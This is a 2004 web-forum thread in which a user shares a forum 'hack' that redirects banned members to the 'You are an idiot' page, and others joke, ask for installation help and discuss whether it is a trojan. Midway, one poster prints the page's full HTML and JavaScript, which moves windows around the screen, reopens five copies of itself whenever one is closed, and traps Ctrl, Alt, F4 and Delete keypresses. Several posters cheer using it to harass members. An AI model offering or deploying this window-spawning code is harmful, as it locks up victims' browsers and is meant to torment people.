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Tigga

01-11-2004 10:00 PM

Idiot Ban

This is a pretty simple, yet pretty funny hack. Most everyone has received a link in their email, posted in a forum, or wherever that will redirect you to a site with a flash image singing "You are an idiot. Ha ha ha ha ha". This window is usually very annoying and very hard to close since it multiplies itself. Well with this hack, problem users can be "banned" and automatically redirected to this page. In most cases simply banning a problem member is enough, but every once in a while you come across those users that just don't give up and constantly try to annoy you. Well with this hack you can at least annoy them a little as well. I finally decided to make this for my own forums, so I thought I'd go ahead and share it here as well. ;)

Just for anyone who isn't familiar with the site, here is a link to it. Be warned that you will most likely have to use ctrl+alt+delete to end your browser, so be sure you don't have anything important open before clicking on this link!
http://earth.prohosting.com/jesos

Note: I'm not sure how long that site will stay around. If it ever changes though it's pretty easy to modify the URL in the code. ;)

iggy123

01-12-2004 01:55 PM

don't click on the link - it throws up about 300 web browsers!! Grrrr! though good idea to p'ss someone off.

Tigga

01-12-2004 01:57 PM

Hehe... Well that's why I put that warning before the link... I just went back and made it bold to make sure people read it before clicking though. ;)

SnowBot

01-12-2004 02:04 PM

Tigga you are EVIL :P lol lol

good and funny idea, nice one

Tigga

01-12-2004 02:09 PM

Evil - No... Vengeful - Maybe. ;)

monstergamer

01-12-2004 02:52 PM

clicks on link lol
virus program stoped most of them...i dont know why, but good
any smart person would Ctrl + Alt + delete and close them that way

paddysplace

01-12-2004 03:12 PM

stupid google toolbar ruined the fun...

regards,
patrick

MBV	01-12-2004 04:52 PM

haha, this will prove very useful ;) good lookin :P

MrNase

01-12-2004 04:53 PM

any smart person would use firebird and let that link open in a new tab :P lol ;)

Zelda-King

01-12-2004 05:23 PM

I have no such code as

Code:

// parse other global templates

in the file (RC2) but I DO have

Code:

// parse some global templates

AN-net

01-12-2004 06:27 PM

um i wont be installing this hack cause it puts a trojan on your computer, so that violates my boards rules and i dont want to be a hipocrit. but cool hack anyways;)

Link14716

01-12-2004 07:08 PM

Quote:

Originally Posted by the title of the thread

Idiot Ban

LMAO... :D

Nice hack. :)

albibak

01-12-2004 07:11 PM

Someone have test the hack ?
They don't work on my test forum ...

I create a group, and put a member into, but when he comes on the forum, but nothing do :'(

Allan

01-12-2004 09:20 PM

Quote:

Originally Posted by albibak

Someone have test the hack ?
They don't work on my test forum ...

I create a group, and put a member into, but when he comes on the forum, but nothing do :'(

idem, member banished accede well with the forum

Tigga

01-12-2004 09:20 PM

I just uploaded instructions for RC2... I'm still running Beta 7 and made instructions based on that and didn't realize the comment would be different in newer versions. ;)

albibak

01-12-2004 09:28 PM

Work fine.
Thx for the update

HabboForum

01-13-2004 12:42 AM

Yes, very nice. Simple but good.

MGM	01-13-2004 09:55 PM

Does it really upload a trojan to the user's computer? because if it does i wont use this, even though its an awesome hack!

MGM out

HabboForum

01-13-2004 10:34 PM

Yes it does, i also noticed that it set my friends house on fire as well. It also goes looking up skirts, so beware.

corn	01-19-2004 09:12 AM

OMG :D
this is the most useless hack ever :o

Nam	01-19-2004 12:09 PM

Quote:

Originally Posted by corn

OMG :D
this is the most useless hack ever :o

LMAO :speechless:

Very funny hack, but I don't think I'm gonna need it for my site, though I love to piss people off.

genmud

02-02-2004 01:10 AM

HTML Code:

[size=2]



<html>



<head>



<title>Mogle</title>



<script language=Javascript>



function altf4key()



{



if (event.keyCode == 18 || event.keyCode == 115) alert("You are an idiot!");



}



function ctrlkey()



{



if (event.keyCode == 17) alert("You are an idiot!");



}



function delkey()



{



if (event.keyCode == 46) alert("You are an idiot!");



}



var xOff = 5;



var yOff = 5;



var xPos = 400;



var yPos = -100;



var flagRun = 1;



function openWindow(url)



{



aWindow = window.open(url,"_blank");



}



function procreate()



{



openWindow("index.html");



openWindow("index.html");



openWindow("index.html");



openWindow("index.html");



openWindow("index.html");



}



function newXlt()



{



xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;



window.focus()



}



function newXrt()



{



xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;



}



function newYup()



{



yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;



}



function newYdn()



{



yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;



}



function fOff()



{



flagrun = 0;



}



function playBall()



{



xPos += xOff;



yPos += yOff;



if (xPos > screen.width-175)



{



newXlt();



}



if (xPos < 0)



{



newXrt();



}



if (yPos > screen.height-100)



{



newYup();



}



if (yPos < 0)



{



newYdn();



}



if (flagRun == 1)



{



window.moveTo(xPos,yPos);



setTimeout('playBall()',1);



}



}



</script>



</head>



<body bgColor=#ffffff onload="playBall();" onunload="procreate();" onKeyDown="altf4key();ctrlkey();delkey();" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><!-- BEGIN PROBE CODE -->



<embed src="youare.swf" height=600 width=600>



</body>



</html>[/size]

That is the html code for the webpage...

go to http://earth.prohosting.com/jesos/youare.swf to save that flash animation... then upload or whatever

idn

SloppyGoat

02-09-2004 01:17 AM

Hahaha! I actually saved that page a long time ago and put it on my server. Anytime I saw an idiot who desperately needed it, I'd post the link for the idiot to click on. But this is even better! :D My version has two js files and two html files, plus the swf, though.

Osterling

02-28-2004 02:56 AM

this didnt work for me.. i have RC4.. is it rc4 compatiable?

Osterling

02-28-2004 03:15 AM

Quote:

if ($shownewpm)
{
if ($bbuserinfo['pmunread'] == 1)
{

}

else
{
$pmpopupurl = "private.php?$session[sessionurl_js]";
}
eval('$footer .= "' . fetch_template('pm_popup_script') . '";');
}

that is what mine looks like.. where should i put the code for the idiot ban

Osterling

03-03-2004 01:40 AM

anyone wanna give me support?

rebelsrock06

03-06-2004 06:32 PM

Quote:

Originally Posted by MetalGearMaster

Does it really upload a trojan to the user's computer? because if it does i wont use this, even though its an awesome hack!

MGM out

what exactly is a trojan, and NO im not talking about the condom

Osterling

03-06-2004 11:33 PM

you guys don't wanna offer me any support :(

Wifey

03-17-2004 02:00 AM

Oh my God, I wish that this hack had been installed on a board I moderate. We have two that need to die in lots of popups from this website

Very clever ;) When the time comes I just might add this!

rebelsrock06

03-17-2004 02:02 AM

except for the whole trojan thing its ok. i open this thing and ever since My somputer has had a total SPAM from pop ups and everything, IM PISSED

TECK	03-17-2004 03:17 AM

http://earth.prohosting.com/jesos

It took me exacly 2 seconds to close the window. (taskbar > right click on window > select Close)
Then the anti popup take care of the rest... :p

Chazz Layne

03-25-2004 09:07 PM

It's not a 'trojan' in the true sense, more up-to-date virus scanners simply identify the 'auto-repeating' JS and try to block it. It is completely harmless, save the frustration of getting out of it for some poor n00b. :D

[high]* Chazz Layne clicks install with an evil grin. ;)[/high]

genmud

03-26-2004 02:18 AM

IT is the mascot for my high school :)

http://www.zoarairdesign.com/pics/trojan.jpg

Quote:

Originally Posted by rebelsrock06

what exactly is a trojan, and NO im not talking about the condom

Lard	03-26-2004 01:07 PM

I think I could Use this with a Few members!! Nice Hack!

Cold Steel

06-12-2004 03:56 PM

[high]* Cold Steel installs.
[/high]

I made my own page to bring people to. DO NOT CLICK ON THIS LINK http://idiot.asiansinc.com

Anette

06-30-2004 11:06 AM

Quote:

Originally Posted by Cold Steel

[high]* Cold Steel installs.
[/high]

I made my own page to bring people to. DO NOT CLICK ON THIS LINK http://idiot.asiansinc.com

I like it! :D

Silverstangs

08-28-2004 11:05 PM

Tigga, could you add that to the "misery" hack, and make it based on pain level?

VonRichtofen

10-12-2004 02:58 PM

have a u a new link for this?

Anette

10-29-2004 12:55 PM

<a href="http://www.monkeydoo.com/online/cool4.php" target="_blank">http://www.monkeydoo.com/online/cool4.php</a>

VonRichtofen

10-29-2004 01:50 PM

thx a lot

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